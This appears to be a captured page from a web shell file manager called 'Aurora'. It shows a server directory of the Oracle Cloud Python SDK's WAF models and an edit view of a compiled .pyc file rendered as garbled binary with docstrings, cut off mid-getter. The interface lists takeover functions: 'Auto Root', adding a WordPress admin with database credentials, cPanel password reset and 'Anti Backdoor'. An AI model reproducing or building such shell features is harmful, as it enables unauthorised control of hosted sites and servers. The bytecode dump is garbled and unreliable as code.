Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
waf
models
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: web_app_firewall.cpython-39.pyc
a ���f�C � @ s8 d dl mZmZmZ d dlmZ eG dd� de��ZdS )� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ s� e Zd ZdZdZdZdZdZdZdZ dZ d d � Zedd� �Z ed d� �Zejdd� �Zedd� �Zejdd� �Zedd� �Zejdd� �Zedd� �Zejdd� �Zedd� �Zejdd� �Zedd� �Zejdd� �Zedd � �Zejd!d � �Zed"d#� �Zejd$d#� �Zed%d&� �Zejd'd&� �Zed(d)� �Zejd*d)� �Zed+d,� �Zejd-d,� �Zed.d/� �Zejd0d/� �Zd1d2� Zd3d4� Zd5d6� Zd7S )8�WebAppFirewallz� A resource connecting a WebAppFirewallPolicy to a backend of particular type, applying that policy's coverage to the backend. � LOAD_BALANCER�CREATING�UPDATING�ACTIVE�DELETING�DELETED�FAILEDc K s� ddddddddddddd�| _ dddd d ddd ddddd�| _d| _d| _d| _d| _d| _d| _d| _d| _ d| _ d| _d| _d| _ dS )a� Initializes a new WebAppFirewall object with values from keyword arguments. This class has the following subclasses and if you are using this class as input to a service operations then you should favor using a subclass over the base class: * :class:`~oci.waf.models.WebAppFirewallLoadBalancer` The following keyword arguments are supported (corresponding to the getters/setters of this class): :param id: The value to assign to the id property of this WebAppFirewall. :type id: str :param display_name: The value to assign to the display_name property of this WebAppFirewall. :type display_name: str :param compartment_id: The value to assign to the compartment_id property of this WebAppFirewall. :type compartment_id: str :param backend_type: The value to assign to the backend_type property of this WebAppFirewall. Allowed values for this property are: "LOAD_BALANCER", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type backend_type: str :param web_app_firewall_policy_id: The value to assign to the web_app_firewall_policy_id property of this WebAppFirewall. :type web_app_firewall_policy_id: str :param time_created: The value to assign to the time_created property of this WebAppFirewall. :type time_created: datetime :param time_updated: The value to assign to the time_updated property of this WebAppFirewall. :type time_updated: datetime :param lifecycle_state: The value to assign to the lifecycle_state property of this WebAppFirewall. Allowed values for this property are: "CREATING", "UPDATING", "ACTIVE", "DELETING", "DELETED", "FAILED", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type lifecycle_state: str :param lifecycle_details: The value to assign to the lifecycle_details property of this WebAppFirewall. :type lifecycle_details: str :param freeform_tags: The value to assign to the freeform_tags property of this WebAppFirewall. :type freeform_tags: dict(str, str) :param defined_tags: The value to assign to the defined_tags property of this WebAppFirewall. :type defined_tags: dict(str, dict(str, object)) :param system_tags: The value to assign to the system_tags property of this WebAppFirewall. :type system_tags: dict(str, dict(str, object)) �strZdatetimezdict(str, str)zdict(str, dict(str, object)))�id�display_name�compartment_id�backend_type�web_app_firewall_policy_id�time_created�time_updated�lifecycle_state�lifecycle_details� freeform_tags�defined_tags�system_tagsr ZdisplayNameZ compartmentId�backendTypeZwebAppFirewallPolicyIdZtimeCreatedZtimeUpdatedZlifecycleStateZlifecycleDetailsZfreeformTagsZdefinedTagsZ systemTagsN)Z swagger_typesZ attribute_map�_id� _display_name�_compartment_id� _backend_type�_web_app_firewall_policy_id� _time_created� _time_updated�_lifecycle_state�_lifecycle_details�_freeform_tags� _defined_tags�_system_tags)�self�kwargs� r* �C/usr/lib/python3.9/site-packages/oci/waf/models/web_app_firewall.py�__init__. sL ?��zWebAppFirewall.__init__c C s | d }|dkrdS dS dS )z� Given the hash representation of a subtype of this class, use the info in the hash to return the class of the subtype. r r ZWebAppFirewallLoadBalancerr Nr* )Zobject_dictionary�typer* r* r+ �get_subtype� s zWebAppFirewall.get_subtypec C s | j S )a **[Required]** Gets the id of this WebAppFirewall. The `OCID`__ of the WebAppFirewall. __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm :return: The id of this WebAppFirewall. :rtype: str �r �r( r* r* r+ r � s zWebAppFirewall.idc C s || _ dS )z� Sets the id of this WebAppFirewall. The `OCID`__ of the WebAppFirewall. __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm :param id: The id of this WebAppFirewall. :type: str Nr/ )r( r r* r* r+ r � s c C s | j S )z� **[Required]** Gets the display_name of this WebAppFirewall. WebAppFirewall display name, can be renamed. :return: The display_name of this WebAppFirewall. :rtype: str �r r0 r* r* r+ r � s zWebAppFirewall.display_namec C s || _ dS )z� Sets the display_name of this WebAppFirewall. WebAppFirewall display name, can be renamed. :param display_name: The display_name of this WebAppFirewall. :type: str Nr1 )r( r r* r* r+ r � s c C s | j S )a **[Required]** Gets the compartment_id of this WebAppFirewall. The `OCID`__ of the compartment. __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm :return: The compartment_id of this WebAppFirewall. :rtype: str �r r0 r* r* r+ r � s zWebAppFirewall.compartment_idc C s || _ dS )a Sets the compartment_id of this WebAppFirewall. The `OCID`__ of the compartment. __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm :param compartment_id: The compartment_id of this WebAppFirewall. :type: str Nr2 )r( r r* r* r+ r � s c C s | j S )a� **[Required]** Gets the backend_type of this WebAppFirewall. Type of the WebAppFirewall, as example LOAD_BALANCER. Allowed values for this property are: "LOAD_BALANCER", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :return: The backend_type of this WebAppFirewall. :rtype: str )r r0 r* r* r+ r � s zWebAppFirewall.backend_typec C s dg}t ||�sd}|| _dS )z� Sets the backend_type of this WebAppFirewall. Type of the WebAppFirewall, as example LOAD_BALANCER. :param backend_type: The backend_type of this WebAppFirewall. :type: str r �UNKNOWN_ENUM_VALUEN)r r )r( r �allowed_valuesr* r* r+ r s c C s | j S )a^ **[Required]** Gets the web_app_firewall_policy_id of this WebAppFirewall. The `OCID`__ of WebAppFirewallPolicy, which is attached to the resource. __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm :return: The web_app_firewall_policy_id of this WebAppFirewall. :rtype: str �r r0 r* r* r+ r s z)WebAppFirewall.web_app_firewall_policy_idc C s || _ dS )ah Sets the web_app_firewall_policy_id of this WebAppFirewall. The `OCID`__ of WebAppFirewallPolicy, which is attached to the resource. __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm :param web_app_firewall_policy_id: The web_app_firewall_policy_id of this WebAppFirewall. :type: str Nr5 )r( r r* r* r+ r s c C s | j S )z� **[Required]** Gets the time_created of this WebAppFirewall. The time the WebAppFirewall was created. An RFC3339 formatted datetime string. :return: The time_created of this WebAppFirewall. :rtype: datetime �r! r0 r* r* r+ r . s zWebAppFirewall.time_createdc C s || _ dS )z� Sets the time_created of this WebAppFirewall. The time the WebAppFirewall was created. An RFC3339 formatted datetime string. :param time_created: The time_created of this WebAppFirewall. :type: datetime Nr6 )r( r r* r* r+ r : s c C s | j S )z� Gets the time_updated of this WebAppFirewall. The time the WebAppFirewall was updated. An RFC3339 formatted datetime string. :return: The time_updated of this WebAppFirewall. :rtype: datetime �r"